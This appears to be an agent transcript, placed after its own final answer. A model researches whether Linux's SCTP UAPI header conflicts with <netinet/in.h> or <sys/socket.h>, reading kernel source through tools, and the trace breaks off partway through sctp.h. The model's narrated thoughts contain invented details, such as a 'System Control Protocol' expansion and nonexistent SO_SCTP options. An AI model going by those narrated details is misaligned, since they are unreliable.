### Detailed Analysis

#### 1. No Symbol or Struct Collisions
* **No overlapping definitions**: `<sys/socket.h>` defines standard POSIX socket APIs, types (`struct sockaddr`, `struct sockaddr_storage`, `socklen_t`), and message flags (`MSG_*`). `<netinet/in.h>` defines IPv4/IPv6 address structures (`struct in_addr`, `struct sockaddr_in`), IP protocols (`IPPROTO_SCTP`), and byte-order conversions. Neither header defines the SCTP structures, socket options (`SCTP_NODELAY`, `SCTP_INITMSG`, etc.), or notification structs found in `<linux/sctp.h>`.
* **No conflicting header inclusions**: Unlike `<linux/in.h>` or `<linux/in6.h>` (which define duplicate structs like `in_addr` and require coordination via `<linux/libc-compat.h>`), `<linux/sctp.h>` only includes `<linux/types.h>` and `<linux/socket.h>`. `<linux/socket.h>` only defines `struct __kernel_sockaddr_storage` and kernel-internal flags, avoiding conflicts with `<sys/socket.h>`.
* **Protocol constant**: While `<netinet/in.h>` defines `IPPROTO_SCTP` (value 132), `<linux/sctp.h>` does not `#define` `IPPROTO_SCTP` (it only mentions it inside comments).

---

#### 2. Dependencies and Inclusion Order
Rather than conflicting, `<linux/sctp.h>` actually **relies on** definitions from `<sys/socket.h>` and standard integer types (`<stdint.h>` / `<netinet/in.h>`):
* **`struct sockaddr_storage`**: `<linux/sctp.h>` embeds `struct sockaddr_storage` directly into 여러 user-facing structs (e.g., `struct sctp_paddr_change`, `struct sctp_paddrparams`, `struct sctp_paddrinfo`, `struct sctp_info`). In user space, `<sys/socket.h>` provides this definition.
* **Standard integer types**: `<linux/sctp.h>` uses C99 types (`uint32_t`, `uint16_t`, `uint8_t`) in structures such as `struct sctp_sack_info`, `struct sctp_assoc_value`, and `struct sctp_reset_streams`.
* **`MSG_FIN`**: In `enum sctp_sinfo_flags`, `<linux/sctp.h>` defines `SCTP_EOF = MSG_FIN`. The constant `MSG_FIN` is provided by `<sys/socket.h>`.

Because `<linux/sctp.h>` depends on these definitions, **`<sys/socket.h>` and `<netinet/in.h>` should be included *before* `<linux/sctp.h>`**:

```c
#include <sys/socket.h>
#include <netinet/in.h>
#include <linux/sctp.h>
```

---

#### 3. Note on `<netinet/sctp.h>`
Header conflicts in SCTP user-space development typically happen when mixing `<linux/sctp.h>` (the kernel UAPI header) with `<netinet/sctp.h>` (provided by `lksctp-tools` / `libsctp-dev`). Both define the same SCTP types and constants. However, standard `<netinet/in.h>` and `<sys/socket.h>` do not conflict with `<linux/sctp.h>`.]

You are a capable Linux kernel developer tasked with researching complex questions
about kernel source code. You will be given a concrete question, and need to provide
a concrete answer.
Use tools extensively while researching the question. Don't make assumptions,
or rely on your previous knowledge about the kernel source code, use available tools
to access the actual source code.
Use all available sources of information:
 - kernel source code
 - documentation in the Documentation dir in the source tree

Do not guess file names or file paths and attempt to read them without
verifying their existence first using content search or directory listing tools.
If a file, symbol, or directory is not found via content search (grepper) or
directory listing (codesearch-dir-index), treat it as completely absent.
Do not attempt to guess alternative names, extensions, or directories.

Tool Selection Guidelines:
1. For C functions, structs, and variables: Prefer codesearch-definition-source
   or codesearch-struct-layout FIRST to retrieve clean, exact definitions
   without line-number guessing.
2. If symbol lookup fails (e.g., preprocessor macros, macro-generated code, or
   disabled #ifdef branches), fall back to read-file or grepper.
3. For file headers, #include directives, preprocessor macro definitions, and
   non-C files (Kconfig, Makefiles, docs): Use read-file or grepper directly.

Prefer calling several tools at the same time to save round-trips.


Use set-results tool to provide results of the analysis.
It must be called exactly once before the final reply.
Ignore results of this tool.

Does `<linux/sctp.h>` conflict with `<netinet/in.h>` or `<sys/socket.h>` in any way that would prevent compilation?

gemini-3.7-flash

							input: 2345
							output: 29
							thoughts: 184
						

**My Thought Process Regarding SCTP Header Inclusions**

Okay, so the core of this inquiry is about potential header file conflicts, specifically between `<linux/sctp.h>` and the more fundamental socket-related headers like `<netinet/in.h>` and `<sys/socket.h>`. My immediate thought is that these headers, particularly on Linux, are designed to work together, but it's crucial to confirm *how* they achieve this and whether any edge cases or historical reasons might introduce problems.

My first step is to dive into the Linux kernel sources. I need to find the actual header files that the user-facing applications would include, which usually reside in the `include/uapi` directory. So, I'll be looking for something like `include/uapi/linux/sctp.h`. This is where the Application Programming Interface (API) definitions that userspace programs rely on are defined.

Once I've located `linux/sctp.h`, I need to perform a thorough examination. I'll be dissecting it to understand:

*   **Its structure and content:** What data structures, constants, and function prototypes are defined here? Are there any direct dependencies on other standard headers?
*   **Its inclusions:** Does `linux/sctp.h` itself include `<netinet/in.h>` or `<sys/socket.h>`, or vice-versa? This is a critical point for identifying potential direct conflicts.
*   **Conditional compilation:** I'm keenly looking for preprocessor directives (`#ifdef`, `#ifndef`, `#if defined(...)`). Specifically, I'll be searching for mechanisms like:
    *   `__USE_MISC`: This is a common macro used to control the inclusion of certain POSIX-specific definitions, and SCTP structures or types might be guarded by it.
    *   `__UAPI_DEF_*`: These are often used in the `uapi` headers to prevent redefinition of certain elements when the headers are included in different contexts.
    *   `linux/libc-compat.h`: This header is sometimes used to provide compatibility definitions for libc, which could play a role in how kernel headers interact with user-space libraries.
*   **Known conflicts:** Are there any documented issues or specific coding patterns within these headers that suggest a known conflict or a workaround for one?

To facilitate this investigation, I'll be using powerful search tools available within the kernel source tree. `grep` is my go-to for simple text pattern matching, but for more sophisticated code searching, I'd leverage tools like `codesearch` (if available and configured) or `git grep` which is highly optimized for Git repositories. I'll specifically be searching for `linux/sctp.h` across the entire kernel source tree, paying close attention to the `include` and `include/uapi` directories. I'll also search for mentions of `netinet/in.h` and `sys/socket.h` *within* `sctp.h` and vice-versa.

My underlying hypothesis is that these headers are designed for interoperability. SCTP is a transport protocol, and its socket API needs to integrate with the general socket API provided by `sys/socket.h` and the internet address structures from `netinet/in.h`. Therefore, the kernel developers have likely implemented mechanisms to ensure they can be included without compilation errors. However, understanding these mechanisms is key to providing a confident and expert-level answer.

log-in to see details

map[Expression:sctp\.h PathPrefix:include/uapi]

map[Output:]

gemini-3.7-flash

							input: 2556
							output: 26
							thoughts: 16
						

**My Thought Process for Locating `sctp.h`**

My immediate objective is to perform a comprehensive search for all files named `sctp.h` within the current directory structure. I need to traverse the entire filesystem hierarchy, starting from my current location, and identify every instance of this specific header file. This will likely involve using a command-line utility or a scripting approach that can recursively search directories. My goal is to obtain a complete list of all paths where `sctp.h` resides, which will be crucial for subsequent operations, such as understanding the project's dependencies or pinpointing its exact location for inclusion in other code.

map[Expression:sctp\.h PathPrefix:include]

map[Output:include/linux/netfilter/nf_conntrack_sctp.h-5-
include/linux/netfilter/nf_conntrack_sctp.h:6:#include <uapi/linux/netfilter/nf_conntrack_sctp.h>
include/linux/netfilter/nf_conntrack_sctp.h-7-
--
include/linux/sctp.h-41-
include/linux/sctp.h:42:#include <uapi/linux/sctp.h>
include/linux/sctp.h-43-
--
include/net/net_namespace.h-23-#include <net/netns/ieee802154_6lowpan.h>
include/net/net_namespace.h:24:#include <net/netns/sctp.h>
include/net/net_namespace.h-25-#include <net/netns/netfilter.h>
--
include/net/netfilter/nf_conntrack.h-21-#include <linux/netfilter/nf_conntrack_tcp.h>
include/net/netfilter/nf_conntrack.h:22:#include <linux/netfilter/nf_conntrack_sctp.h>
include/net/netfilter/nf_conntrack.h-23-#include <linux/netfilter/nf_conntrack_proto_gre.h>
--
include/net/netns/conntrack.h-10-#ifdef CONFIG_NF_CT_PROTO_SCTP
include/net/netns/conntrack.h:11:#include <linux/netfilter/nf_conntrack_sctp.h>
include/net/netns/conntrack.h-12-#endif
--
include/net/sctp/checksum.h-24-#include <linux/types.h>
include/net/sctp/checksum.h:25:#include <linux/sctp.h>
include/net/sctp/checksum.h-26-
--
include/net/sctp/constants.h-27-
include/net/sctp/constants.h:28:#include <linux/sctp.h>
include/net/sctp/constants.h-29-#include <linux/ipv6.h> /* For ipv6hdr. */
--
include/net/sctp/sm.h-32-#include <net/sctp/command.h>
include/net/sctp/sm.h:33:#include <net/sctp/sctp.h>
include/net/sctp/sm.h-34-
--
include/net/sctp/structs.h-46-#include <linux/workqueue.h>	/* We need tq_struct.	 */
include/net/sctp/structs.h:47:#include <linux/sctp.h>		/* We need sctp* header structs.  */
include/net/sctp/structs.h-48-#include <net/sctp/auth.h>	/* We need auth specific structs */
]

gemini-3.7-flash

							input: 3365
							output: 39
							thoughts: 46
						

**A Deep Dive into SCTP Header Files**

Ah, so the `include/uapi/linux/sctp.h` file is indeed present. That's my starting point for understanding the user-space accessible definitions related to the Stream Control Transmission Protocol (SCTP) within the Linux kernel. My immediate thought is to examine this file thoroughly, as it governs the interface that applications will use to interact with SCTP.

Following this, I'll need to cross-reference it with `include/linux/sctp.h`. This internal kernel header is likely to contain the more detailed, kernel-internal structures and definitions that `uapi/linux/sctp.h` abstracts away. Understanding both will be crucial to grasp the full picture: how SCTP is exposed to userspace and how it's implemented internally. I'm anticipating seeing definitions for SCTP sockets, association parameters, message structures, and various control information that applications can leverage or that the kernel uses to manage connections. My goal is to build a comprehensive mental model of the SCTP API and its underlying kernel mechanisms.

map[File:include/uapi/linux/sctp.h FirstLine:1 LineCount:100]

map[Contents:   1:	/* SPDX-License-Identifier: GPL-2.0+ WITH Linux-syscall-note */
   2:	/* SCTP kernel implementation
   3:	 * (C) Copyright IBM Corp. 2001, 2004
   4:	 * Copyright (c) 1999-2000 Cisco, Inc.
   5:	 * Copyright (c) 1999-2001 Motorola, Inc.
   6:	 * Copyright (c) 2002 Intel Corp.
   7:	 *
   8:	 * This file is part of the SCTP kernel implementation
   9:	 *
  10:	 * This header represents the structures and constants needed to support
  11:	 * the SCTP Extension to the Sockets API.
  12:	 *
  13:	 * This SCTP implementation is free software;
  14:	 * you can redistribute it and/or modify it under the terms of
  15:	 * the GNU General Public License as published by
  16:	 * the Free Software Foundation; either version 2, or (at your option)
  17:	 * any later version.
  18:	 *
  19:	 * This SCTP implementation is distributed in the hope that it
  20:	 * will be useful, but WITHOUT ANY WARRANTY; without even the implied
  21:	 *                 ************************
  22:	 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
  23:	 * See the GNU General Public License for more details.
  24:	 *
  25:	 * You should have received a copy of the GNU General Public License
  26:	 * along with GNU CC; see the file COPYING.  If not, see
  27:	 * <http://www.gnu.org/licenses/>.
  28:	 *
  29:	 * Please send any bug reports or fixes you make to the
  30:	 * email address(es):
  31:	 *    lksctp developers <linux-sctp@vger.kernel.org>
  32:	 *
  33:	 * Or submit a bug report through the following website:
  34:	 *    http://www.sf.net/projects/lksctp
  35:	 *
  36:	 * Written or modified by:
  37:	 *    La Monte H.P. Yarroll    <piggy@acm.org>
  38:	 *    R. Stewart               <randall@sctp.chicago.il.us>
  39:	 *    K. Morneau               <kmorneau@cisco.com>
  40:	 *    Q. Xie                   <qxie1@email.mot.com>
  41:	 *    Karl Knutson             <karl@athena.chicago.il.us>
  42:	 *    Jon Grimm                <jgrimm@us.ibm.com>
  43:	 *    Daisy Chang              <daisyc@us.ibm.com>
  44:	 *    Ryan Layer               <rmlayer@us.ibm.com>
  45:	 *    Ardelle Fan              <ardelle.fan@intel.com>
  46:	 *    Sridhar Samudrala        <sri@us.ibm.com>
  47:	 *    Inaky Perez-Gonzalez     <inaky.gonzalez@intel.com>
  48:	 *    Vlad Yasevich            <vladislav.yasevich@hp.com>
  49:	 *
  50:	 * Any bugs reported given to us we will try to fix... any fixes shared will
  51:	 * be incorporated into the next SCTP release.
  52:	 */
  53:	
  54:	#ifndef _UAPI_SCTP_H
  55:	#define _UAPI_SCTP_H
  56:	
  57:	#include <linux/types.h>
  58:	#include <linux/socket.h>
  59:	
  60:	typedef __s32 sctp_assoc_t;
  61:	
  62:	#define SCTP_FUTURE_ASSOC	0
  63:	#define SCTP_CURRENT_ASSOC	1
  64:	#define SCTP_ALL_ASSOC		2
  65:	
  66:	/* The following symbols come from the Sockets API Extensions for
  67:	 * SCTP <draft-ietf-tsvwg-sctpsocket-07.txt>.
  68:	 */
  69:	#define SCTP_RTOINFO	0
  70:	#define SCTP_ASSOCINFO  1
  71:	#define SCTP_INITMSG	2
  72:	#define SCTP_NODELAY	3		/* Get/set nodelay option. */
  73:	#define SCTP_AUTOCLOSE	4
  74:	#define SCTP_SET_PEER_PRIMARY_ADDR 5
  75:	#define SCTP_PRIMARY_ADDR	6
  76:	#define SCTP_ADAPTATION_LAYER	7
  77:	#define SCTP_DISABLE_FRAGMENTS	8
  78:	#define SCTP_PEER_ADDR_PARAMS	9
  79:	#define SCTP_DEFAULT_SEND_PARAM	10
  80:	#define SCTP_EVENTS	11
  81:	#define SCTP_I_WANT_MAPPED_V4_ADDR 12	/* Turn on/off mapped v4 addresses  */
  82:	#define SCTP_MAXSEG	13		/* Get/set maximum fragment. */
  83:	#define SCTP_STATUS	14
  84:	#define SCTP_GET_PEER_ADDR_INFO	15
  85:	#define SCTP_DELAYED_ACK_TIME	16
  86:	#define SCTP_DELAYED_ACK SCTP_DELAYED_ACK_TIME
  87:	#define SCTP_DELAYED_SACK SCTP_DELAYED_ACK_TIME
  88:	#define SCTP_CONTEXT	17
  89:	#define SCTP_FRAGMENT_INTERLEAVE	18
  90:	#define SCTP_PARTIAL_DELIVERY_POINT	19 /* Set/Get partial delivery point */
  91:	#define SCTP_MAX_BURST	20		/* Set/Get max burst */
  92:	#define SCTP_AUTH_CHUNK	21	/* Set only: add a chunk type to authenticate */
  93:	#define SCTP_HMAC_IDENT	22
  94:	#define SCTP_AUTH_KEY	23
  95:	#define SCTP_AUTH_ACTIVE_KEY	24
  96:	#define SCTP_AUTH_DELETE_KEY	25
  97:	#define SCTP_PEER_AUTH_CHUNKS	26	/* Read only */
  98:	#define SCTP_LOCAL_AUTH_CHUNKS	27	/* Read only */
  99:	#define SCTP_GET_ASSOC_NUMBER	28	/* Read only */
 100:	#define SCTP_GET_ASSOC_ID_LIST	29	/* Read only */
]

gemini-3.7-flash

							input: 5248
							output: 41
							thoughts: 19
						

**My Thought Process Regarding `include/uapi/linux/sctp.h`**

Alright, so my current focus is on delving into the specifics of `include/uapi/linux/sctp.h`. I'm really looking to understand the low-level details of the SCTP (Stream Control Transmission Protocol) implementation as exposed to userspace. This header file is crucial because it defines the structures, constants, and flags that applications will use when interacting with the SCTP kernel module via system calls, particularly `setsockopt()` and `getsockopt()`.

My goal here is to build a comprehensive mental model of how SCTP operates from an API perspective. I need to dissect each structure defined in this header – things like `sctp_assoc_params`, `sctp_paddr_param`, `sctp_sndrcvinfo`, and so forth. For each structure, I'll be meticulously examining:

*   **The fields:** What data does each field represent? What are the expected data types and ranges? I'm looking for direct correlations to SCTP protocol concepts like association parameters, peer addresses, transport addresses, and message information.
*   **The purpose:** How is this structure used in practice? Is it for configuring association attributes, querying peer status, sending specific types of SCTP messages, or receiving event notifications?
*   **The constants and flags:** The header is rife with `#define` directives. I need to understand what each of these constants signifies. Are they for protocol negotiation, error codes, event types, or specific option flags for socket operations? I'm particularly interested in the `SO_SCTP_...` options, as these are the direct entry points for userspace control.

I anticipate that understanding these definitions will be key to grasping:

*   **Association Management:** How do I establish, reconfigure, and terminate SCTP associations from userspace? This header will likely contain the necessary structures and options for controlling association parameters like RTO (Retransmission Timeout), cookie preservation, and maximum retransmissions.
*   **Message Delivery:** How do I send and receive SCTP messages with specific delivery guarantees (e.g., ordered vs. unordered delivery)? The `sctp_sndrcvinfo` structure will be paramount here, as it dictates message sequencing, stream identifiers, and priority.
*   **Event Notification:** How does the kernel inform userspace about SCTP events like association establishment, peer failure, or message reception? I'll be looking for structures and flags related to the `SCTP_EVENTS` socket option.
*   **Peer and Address Management:** How do I query information about connected peers and their associated transport addresses? The structures related to address parameters will be essential for this.

Ultimately, my objective is to move from abstract SCTP concepts to concrete C structures and system call arguments. This header file is the bridge, and by thoroughly analyzing its contents, I aim to solidify my understanding of how to effectively utilize the SCTP protocol from a programming standpoint. I'm not just reading it; I'm mentally mapping it to the underlying protocol mechanisms and anticipating how these definitions will translate into functional code.

map[File:include/uapi/linux/sctp.h FirstLine:101 LineCount:100]

map[Contents: 101:	#define SCTP_AUTO_ASCONF       30
 102:	#define SCTP_PEER_ADDR_THLDS	31
 103:	#define SCTP_RECVRCVINFO	32
 104:	#define SCTP_RECVNXTINFO	33
 105:	#define SCTP_DEFAULT_SNDINFO	34
 106:	#define SCTP_AUTH_DEACTIVATE_KEY	35
 107:	#define SCTP_REUSE_PORT		36
 108:	#define SCTP_PEER_ADDR_THLDS_V2	37
 109:	
 110:	/* Internal Socket Options. Some of the sctp library functions are
 111:	 * implemented using these socket options.
 112:	 */
 113:	#define SCTP_SOCKOPT_BINDX_ADD	100	/* BINDX requests for adding addrs */
 114:	#define SCTP_SOCKOPT_BINDX_REM	101	/* BINDX requests for removing addrs. */
 115:	#define SCTP_SOCKOPT_PEELOFF	102	/* peel off association. */
 116:	/* Options 104-106 are deprecated and removed. Do not use this space */
 117:	#define SCTP_SOCKOPT_CONNECTX_OLD	107	/* CONNECTX old requests. */
 118:	#define SCTP_GET_PEER_ADDRS	108		/* Get all peer address. */
 119:	#define SCTP_GET_LOCAL_ADDRS	109		/* Get all local address. */
 120:	#define SCTP_SOCKOPT_CONNECTX	110		/* CONNECTX requests. */
 121:	#define SCTP_SOCKOPT_CONNECTX3	111	/* CONNECTX requests (updated) */
 122:	#define SCTP_GET_ASSOC_STATS	112	/* Read only */
 123:	#define SCTP_PR_SUPPORTED	113
 124:	#define SCTP_DEFAULT_PRINFO	114
 125:	#define SCTP_PR_ASSOC_STATUS	115
 126:	#define SCTP_PR_STREAM_STATUS	116
 127:	#define SCTP_RECONFIG_SUPPORTED	117
 128:	#define SCTP_ENABLE_STREAM_RESET	118
 129:	#define SCTP_RESET_STREAMS	119
 130:	#define SCTP_RESET_ASSOC	120
 131:	#define SCTP_ADD_STREAMS	121
 132:	#define SCTP_SOCKOPT_PEELOFF_FLAGS 122
 133:	#define SCTP_STREAM_SCHEDULER	123
 134:	#define SCTP_STREAM_SCHEDULER_VALUE	124
 135:	#define SCTP_INTERLEAVING_SUPPORTED	125
 136:	#define SCTP_SENDMSG_CONNECT	126
 137:	#define SCTP_EVENT	127
 138:	#define SCTP_ASCONF_SUPPORTED	128
 139:	#define SCTP_AUTH_SUPPORTED	129
 140:	#define SCTP_ECN_SUPPORTED	130
 141:	#define SCTP_EXPOSE_POTENTIALLY_FAILED_STATE	131
 142:	#define SCTP_EXPOSE_PF_STATE	SCTP_EXPOSE_POTENTIALLY_FAILED_STATE
 143:	#define SCTP_REMOTE_UDP_ENCAPS_PORT	132
 144:	#define SCTP_PLPMTUD_PROBE_INTERVAL	133
 145:	
 146:	/* PR-SCTP policies */
 147:	#define SCTP_PR_SCTP_NONE	0x0000
 148:	#define SCTP_PR_SCTP_TTL	0x0010
 149:	#define SCTP_PR_SCTP_RTX	0x0020
 150:	#define SCTP_PR_SCTP_PRIO	0x0030
 151:	#define SCTP_PR_SCTP_MAX	SCTP_PR_SCTP_PRIO
 152:	#define SCTP_PR_SCTP_MASK	0x0030
 153:	
 154:	#define __SCTP_PR_INDEX(x)	((x >> 4) - 1)
 155:	#define SCTP_PR_INDEX(x)	__SCTP_PR_INDEX(SCTP_PR_SCTP_ ## x)
 156:	
 157:	#define SCTP_PR_POLICY(x)	((x) & SCTP_PR_SCTP_MASK)
 158:	#define SCTP_PR_SET_POLICY(flags, x)	\
 159:		do {				\
 160:			flags &= ~SCTP_PR_SCTP_MASK;	\
 161:			flags |= x;		\
 162:		} while (0)
 163:	
 164:	#define SCTP_PR_TTL_ENABLED(x)	(SCTP_PR_POLICY(x) == SCTP_PR_SCTP_TTL)
 165:	#define SCTP_PR_RTX_ENABLED(x)	(SCTP_PR_POLICY(x) == SCTP_PR_SCTP_RTX)
 166:	#define SCTP_PR_PRIO_ENABLED(x)	(SCTP_PR_POLICY(x) == SCTP_PR_SCTP_PRIO)
 167:	
 168:	/* For enable stream reset */
 169:	#define SCTP_ENABLE_RESET_STREAM_REQ	0x01
 170:	#define SCTP_ENABLE_RESET_ASSOC_REQ	0x02
 171:	#define SCTP_ENABLE_CHANGE_ASSOC_REQ	0x04
 172:	#define SCTP_ENABLE_STRRESET_MASK	0x07
 173:	
 174:	#define SCTP_STREAM_RESET_INCOMING	0x01
 175:	#define SCTP_STREAM_RESET_OUTGOING	0x02
 176:	
 177:	/* These are bit fields for msghdr->msg_flags.  See section 5.1.  */
 178:	/* On user space Linux, these live in <bits/socket.h> as an enum.  */
 179:	enum sctp_msg_flags {
 180:		MSG_NOTIFICATION = 0x8000,
 181:	#define MSG_NOTIFICATION MSG_NOTIFICATION
 182:	};
 183:	
 184:	/* 5.3.1 SCTP Initiation Structure (SCTP_INIT)
 185:	 *
 186:	 *   This cmsghdr structure provides information for initializing new
 187:	 *   SCTP associations with sendmsg().  The SCTP_INITMSG socket option
 188:	 *   uses this same data structure.  This structure is not used for
 189:	 *   recvmsg().
 190:	 *
 191:	 *   cmsg_level    cmsg_type      cmsg_data[]
 192:	 *   ------------  ------------   ----------------------
 193:	 *   IPPROTO_SCTP  SCTP_INIT      struct sctp_initmsg
 194:	 */
 195:	struct sctp_initmsg {
 196:		__u16 sinit_num_ostreams;
 197:		__u16 sinit_max_instreams;
 198:		__u16 sinit_max_attempts;
 199:		__u16 sinit_max_init_timeo;
 200:	};
]

gemini-3.7-flash

							input: 7446
							output: 41
							thoughts: 159
						

**My Thought Process Regarding SCTP Message Flags**

Okay, let me process this chunk of code. I'm looking at lines 177 through 182 in `include/uapi/linux/sctp.h`, and I see an `enum sctp_msg_flags` which seems to be defining bit fields for `msghdr->msg_flags`. The comment explicitly points to section 5.1 for more details and mentions that on user-space Linux, these are defined as an enum in `<bits/socket.h>`.

My immediate reaction, as an expert in this domain, is: "Wait a minute! What exactly is `MSG_NOTIFICATION` doing here?" This enum *only* defines `MSG_NOTIFICATION` with a value of `0x8000`. This feels a bit sparse for a whole enum meant to represent message flags.

My next step, naturally, is to dig deeper. I need to understand the context and full scope of `MSG_NOTIFICATION` within SCTP. My plan is to meticulously go through the rest of `include/uapi/linux/sctp.h`. I need to examine all the types, structs, and headers defined within this file. I also want to investigate the git history and commit logs related to this file. This will help me understand how `MSG_NOTIFICATION` was introduced, its intended purpose, and if there are any other related flags or mechanisms I might have missed in this initial snippet. I'll likely read the file in chunks to manage the information flow effectively, ensuring I don't miss any crucial details.

map[File:include/uapi/linux/sctp.h FirstLine:201 LineCount:100]

map[Contents: 201:	
 202:	/* 5.3.2 SCTP Header Information Structure (SCTP_SNDRCV)
 203:	 *
 204:	 *   This cmsghdr structure specifies SCTP options for sendmsg() and
 205:	 *   describes SCTP header information about a received message through
 206:	 *   recvmsg().
 207:	 *
 208:	 *   cmsg_level    cmsg_type      cmsg_data[]
 209:	 *   ------------  ------------   ----------------------
 210:	 *   IPPROTO_SCTP  SCTP_SNDRCV    struct sctp_sndrcvinfo
 211:	 */
 212:	struct sctp_sndrcvinfo {
 213:		__u16 sinfo_stream;
 214:		__u16 sinfo_ssn;
 215:		__u16 sinfo_flags;
 216:		__u32 sinfo_ppid;
 217:		__u32 sinfo_context;
 218:		__u32 sinfo_timetolive;
 219:		__u32 sinfo_tsn;
 220:		__u32 sinfo_cumtsn;
 221:		sctp_assoc_t sinfo_assoc_id;
 222:	};
 223:	
 224:	/* 5.3.4 SCTP Send Information Structure (SCTP_SNDINFO)
 225:	 *
 226:	 *   This cmsghdr structure specifies SCTP options for sendmsg().
 227:	 *
 228:	 *   cmsg_level    cmsg_type      cmsg_data[]
 229:	 *   ------------  ------------   -------------------
 230:	 *   IPPROTO_SCTP  SCTP_SNDINFO   struct sctp_sndinfo
 231:	 */
 232:	struct sctp_sndinfo {
 233:		__u16 snd_sid;
 234:		__u16 snd_flags;
 235:		__u32 snd_ppid;
 236:		__u32 snd_context;
 237:		sctp_assoc_t snd_assoc_id;
 238:	};
 239:	
 240:	/* 5.3.5 SCTP Receive Information Structure (SCTP_RCVINFO)
 241:	 *
 242:	 *   This cmsghdr structure describes SCTP receive information
 243:	 *   about a received message through recvmsg().
 244:	 *
 245:	 *   cmsg_level    cmsg_type      cmsg_data[]
 246:	 *   ------------  ------------   -------------------
 247:	 *   IPPROTO_SCTP  SCTP_RCVINFO   struct sctp_rcvinfo
 248:	 */
 249:	struct sctp_rcvinfo {
 250:		__u16 rcv_sid;
 251:		__u16 rcv_ssn;
 252:		__u16 rcv_flags;
 253:		__u32 rcv_ppid;
 254:		__u32 rcv_tsn;
 255:		__u32 rcv_cumtsn;
 256:		__u32 rcv_context;
 257:		sctp_assoc_t rcv_assoc_id;
 258:	};
 259:	
 260:	/* 5.3.6 SCTP Next Receive Information Structure (SCTP_NXTINFO)
 261:	 *
 262:	 *   This cmsghdr structure describes SCTP receive information
 263:	 *   of the next message that will be delivered through recvmsg()
 264:	 *   if this information is already available when delivering
 265:	 *   the current message.
 266:	 *
 267:	 *   cmsg_level    cmsg_type      cmsg_data[]
 268:	 *   ------------  ------------   -------------------
 269:	 *   IPPROTO_SCTP  SCTP_NXTINFO   struct sctp_nxtinfo
 270:	 */
 271:	struct sctp_nxtinfo {
 272:		__u16 nxt_sid;
 273:		__u16 nxt_flags;
 274:		__u32 nxt_ppid;
 275:		__u32 nxt_length;
 276:		sctp_assoc_t nxt_assoc_id;
 277:	};
 278:	
 279:	/* 5.3.7 SCTP PR-SCTP Information Structure (SCTP_PRINFO)
 280:	 *
 281:	 *   This cmsghdr structure specifies SCTP options for sendmsg().
 282:	 *
 283:	 *   cmsg_level    cmsg_type      cmsg_data[]
 284:	 *   ------------  ------------   -------------------
 285:	 *   IPPROTO_SCTP  SCTP_PRINFO    struct sctp_prinfo
 286:	 */
 287:	struct sctp_prinfo {
 288:		__u16 pr_policy;
 289:		__u32 pr_value;
 290:	};
 291:	
 292:	/* 5.3.8 SCTP AUTH Information Structure (SCTP_AUTHINFO)
 293:	 *
 294:	 *   This cmsghdr structure specifies SCTP options for sendmsg().
 295:	 *
 296:	 *   cmsg_level    cmsg_type      cmsg_data[]
 297:	 *   ------------  ------------   -------------------
 298:	 *   IPPROTO_SCTP  SCTP_AUTHINFO  struct sctp_authinfo
 299:	 */
 300:	struct sctp_authinfo {
]

gemini-3.7-flash

							input: 9274
							output: 41
							thoughts: 21
						

**My Deep Dive into `sctp.h` - Unpacking the SCTP Protocol Interface**

Alright, my immediate impulse is to thoroughly examine `include/uapi/linux/sctp.h`. My goal here is to gain a comprehensive understanding of the System Control Protocol (SCTP) as exposed through the Linux kernel's user-space API. I'm not just looking for a superficial overview; I want to internalize the nuances, the data structures, the flags, and the specific constants that define how applications interact with SCTP at a low level.

I anticipate this header file will be dense, packed with `struct` definitions and `#define` directives. I'll be paying close attention to the various `sctp_...` named entities, as these will likely represent the core elements of the protocol's state, configuration, and operational parameters. My thought process will be a systematic dissection:

Firstly, I'll be looking for the primary data structures that applications will use for socket operations. This includes things like the `struct sockaddr_sctp`, which is crucial for defining SCTP endpoints, associating addresses, and potentially specifying stream identifiers. I'll also be on the lookout for structures related to associations, such as those that might define association parameters, state information, or event notifications.

Secondly, I'll dive into the constants and flags. These are the bedrock of precise control and signaling. I expect to find flags for socket options (`SO_SCTP_...`), control message types (`SCTP_..._MSG`), event types (`SCTP_EVENT_TYPE_...`), and perhaps specific operational modes or error codes. Understanding these will be key to correctly configuring SCTP behavior and interpreting kernel responses. I'll be mentally cataloging these, noting their purpose and how they might be combined.

Thirdly, I'll be thinking about the implications for higher-level abstractions. While `sctp.h` is a low-level interface, I'll be considering how these definitions translate into what libraries like `libsctp` might expose to developers. This involves thinking about the "user-space API" aspect – how are these kernel constructs made accessible and manageable for application developers?

Finally, I'm anticipating encountering structures and constants that relate to specific SCTP features. This could include things like multi-homing support, partial reliability, message fragmentation, heartbeat mechanisms, or the handling of association state transitions. My aim is to understand how the kernel exposes these advanced features and the level of control an application has over them. This header file is the definitive source for the "rules of engagement" between my application and the SCTP implementation within the Linux kernel.

map[File:include/uapi/linux/sctp.h FirstLine:301 LineCount:100]

map[Contents: 301:		__u16 auth_keynumber;
 302:	};
 303:	
 304:	/*
 305:	 *  sinfo_flags: 16 bits (unsigned integer)
 306:	 *
 307:	 *   This field may contain any of the following flags and is composed of
 308:	 *   a bitwise OR of these values.
 309:	 */
 310:	enum sctp_sinfo_flags {
 311:		SCTP_UNORDERED		= (1 << 0), /* Send/receive message unordered. */
 312:		SCTP_ADDR_OVER		= (1 << 1), /* Override the primary destination. */
 313:		SCTP_ABORT		= (1 << 2), /* Send an ABORT message to the peer. */
 314:		SCTP_SACK_IMMEDIATELY	= (1 << 3), /* SACK should be sent without delay. */
 315:		/* 2 bits here have been used by SCTP_PR_SCTP_MASK */
 316:		SCTP_SENDALL		= (1 << 6),
 317:		SCTP_PR_SCTP_ALL	= (1 << 7),
 318:		SCTP_NOTIFICATION	= MSG_NOTIFICATION, /* Next message is not user msg but notification. */
 319:		SCTP_EOF		= MSG_FIN,  /* Initiate graceful shutdown process. */
 320:	};
 321:	
 322:	typedef union {
 323:		__u8   			raw;
 324:		struct sctp_initmsg	init;
 325:		struct sctp_sndrcvinfo	sndrcv;
 326:	} sctp_cmsg_data_t;
 327:	
 328:	/* These are cmsg_types.  */
 329:	typedef enum sctp_cmsg_type {
 330:		SCTP_INIT,		/* 5.2.1 SCTP Initiation Structure */
 331:	#define SCTP_INIT	SCTP_INIT
 332:		SCTP_SNDRCV,		/* 5.2.2 SCTP Header Information Structure */
 333:	#define SCTP_SNDRCV	SCTP_SNDRCV
 334:		SCTP_SNDINFO,		/* 5.3.4 SCTP Send Information Structure */
 335:	#define SCTP_SNDINFO	SCTP_SNDINFO
 336:		SCTP_RCVINFO,		/* 5.3.5 SCTP Receive Information Structure */
 337:	#define SCTP_RCVINFO	SCTP_RCVINFO
